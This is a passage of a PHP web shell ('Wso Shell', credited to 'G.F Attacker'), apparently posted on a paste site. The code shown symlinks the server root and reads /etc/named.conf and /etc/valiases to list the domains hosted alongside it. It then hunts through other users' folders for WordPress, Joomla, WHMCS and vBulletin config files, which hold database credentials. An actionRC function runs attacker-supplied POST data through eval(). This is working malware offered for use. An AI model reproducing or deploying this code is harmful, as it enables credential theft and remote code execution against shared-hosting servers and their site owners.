  1892. if (@eregi("$Attacker11",$Attacker8[1][0]) or @eregi("$Attacker112",$Attacker8[1][0]) )
  1893. {
  1894. $Attacker10 = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$Attacker8[1][0].'</div>';
  1895. }
  1896. echo "
  1897. <tr><td>
  1898. <a target='_blank' href=http://www.".$Attacker8[1][0].'/>'.$Attacker10.' </a>
  1899. </td><td>
  1900. '.$Attacker9['name']."
  1901. </td><td>
  1902. <a href='sym/root/home/".$Attacker9['name']."/public_html' target='_blank'>symlink </a>
  1903. </td></tr>";
  1904. flush();
  1905. }
  1906. }
  1907. }
  1908. }
  1909. echo "</center></table>";
  1910. }
  1911.  if(isset($_POST['p3']) && $_POST['p3']=='config'){
  1912.   echo "<center>";
  1913. @mkdir('sym',0777);
  1914. $Attacker3  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  1915. $Attacker4 =@fopen ('sym/.htaccess','w');
  1916. @fwrite($Attacker4 ,$Attacker3);
  1917. @symlink('/','sym/root');
  1918. $Attacker5 = basename('_FILE_');
  1919. $Attacker6 = @file('/etc/named.conf');
  1920. if(!$Attacker6){
  1921. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1922. }
  1923. else{
  1924. echo "
  1925. <table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>";
  1926. foreach($Attacker6 as $Attacker7){
  1927. if(@eregi('zone',$Attacker7)){
  1928. preg_match_all('#zone "(.*)"#',$Attacker7,$Attacker8);
  1929. flush();
  1930. if(strlen(trim($Attacker8[1][0])) >2){
  1931. $Attacker9 = posix_getpwuid(@fileowner('/etc/valiases/'.$Attacker8[1][0]));
  1932. $Attacker113=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/wp-config.php';
  1933. $Sym=get_headers($Attacker113);
  1934. $IIIIIIIII11l=$Sym[0];
  1935. $Sym2=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/blog/wp-config.php';
  1936. $Sym3=get_headers($Sym2);
  1937. $Sym1=$Sym3[0];
  1938. $Sym4=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/configuration.php';
  1939. $Sym5=get_headers($Sym4);
  1940. $Sym6=$Sym5[0];
  1941. $Sym7=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/joomla/configuration.php';
  1942. $Sym8=get_headers($Sym7);
  1943. $Sym9=$Sym8[0];
  1944. $Attack=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/includes/config.php';
  1945. $Attack1=get_headers($Attack);
  1946. $Attack2=$Attack1[0];
  1947. $Attack3=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/vb/includes/config.php';
  1948. $Attack4=get_headers($Attack3);
  1949. $Attack5=$Attack4[0];
  1950. $Attack6=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/forum/includes/config.php';
  1951. $Attack7=get_headers($Attack6);
  1952. $Attack8=$Attack7[0];
  1953. $Attack9=$Attacker.'/sym/root/home/'.$Attacker9['name'].'public_html/clients/configuration.php';
  1954. $GF=get_headers($Attack9);
  1955. $GF_=$GF[0];
  1956. $GF1=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/support/configuration.php';
  1957. $GF=get_headers($GF1);
  1958. $GF2=$GF[0];
  1959. $GF3=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/client/configuration.php';
  1960. $GF4=get_headers($GF3);
  1961. $GF5=$GF4[0];
  1962. $GF6=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/submitticket.php';
  1963. $GF7=get_headers($GF6);
  1964. $GF8=$GF7[0];
  1965. $GF9=$Attacker.'/sym/root/home/'.$Attacker9['name'].'/public_html/client/configuration.php';
  1966. $GF_1=get_headers($GF9);
  1967. $GF_2=$GF_1[0];
  1968. $GF_3 = strpos($GF_4,'200');
  1969. $GF_5='&nbsp;';
  1970. if (strpos($GF_4,'200') == true ){
  1971. $GF_5="<a href='".$Attacker113."' target='_blank'>Wordpress</a>";
  1972. }
  1973. elseif (strpos($Sym1,'200') == true){
  1974. $GF_5="<a href='".$Sym2."' target='_blank'>Wordpress</a>";
  1975. }
  1976. elseif (strpos($Sym6,'200')  == true and strpos($GF8,'200')  == true ){
  1977. $GF_5=" <a href='".$GF6."' target='_blank'>WHMCS</a>";
  1978. }
  1979. elseif (strpos($GF2,'200')  == true){
  1980. $GF_5 =" <a href='".$GF1."' target='_blank'>WHMCS</a>";
  1981. }
  1982. elseif (strpos($GF5,'200')  == true){
  1983. $GF_5 =" <a href='".$GF3."' target='_blank'>WHMCS</a>";
  1984. }
  1985. elseif (strpos($Sym6,'200')  == true){
  1986. $GF_5=" <a href='".$Sym4."' target='_blank'>Joomla</a>";
  1987. }
  1988. elseif (strpos($Sym8,'200')  == true){
  1989. $GF_5=" <a href='".$Sym7."' target='_blank'>Joomla</a>";
  1990. }
  1991. elseif (strpos($Attack2,'200')  == true){
  1992. $GF_5=" <a href='".$Attack."' target='_blank'>vBulletin</a>";
  1993. }
  1994. elseif (strpos($Attack5,'200')  == true){
  1995. $GF_5=" <a href='".$Attack3."' target='_blank'>vBulletin</a>";
  1996. }
  1997. elseif (strpos($Attack8,'200')  == true){
  1998. $GF_5=" <a href='".$Attack6."' target='_blank'>vBulletin</a>";
  1999. }
  2000. else{
  2001. continue;
  2002. }
  2003. $Attacker10 = $Attacker9['name'] ;
  2004. echo '<tr><td><a href=http://www.'.$Attacker8[1][0].'/>'.$Attacker8[1][0].'</a></td>
  2005. <td>'.$GF_5.'</td></tr>';flush();
  2006. }
  2007. }
  2008. }
  2009. }
  2010. echo "</center></table>";
  2011. }
  2012. echo "</div>";
  2013. arFooter();
  2014. }
  2015.  
  2016. function actionAbout() {
  2017.  
  2018.     arHeader();
  2019.     echo '<h1>About me</h1><div class=content align=center >
  2020.          <center><h2 style="font-size:40px; color:rgba(35,96,156,0.2) ">Wso Shell</h2>
  2021.          <h3>Development By G.F Attacker</h3></div></center></div>';
  2022.     arFooter();
  2023. }
  2024.  
  2025. function actionRC() {
  2026.     if(!@$_POST['p1']) {
  2027.         $a = array(
  2028.             "uname" => php_uname(),
  2029.             "php_version" => phpversion(),
  2030.             "ar_version" => AR_VERSION,
  2031.             "safemode" => @ini_get('safe_mode')
  2032.         );
  2033.         echo serialize($a);
  2034.     } else {
  2035.         eval($_POST['p1']);
  2036.     }
  2037. }
  2038. if( empty($_POST['a']) )
  2039.     if(isset($default_action) && function_exists('action' . $default_action))
  2040.         $_POST['a'] = $default_action;
  2041.     else
  2042.         $_POST['a'] = 'Expl';
  2043. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2044.     call_user_func('action' . $_POST['a']);
  2045. exit;
  2046. ?>
Add Comment
Please, Sign In to add comment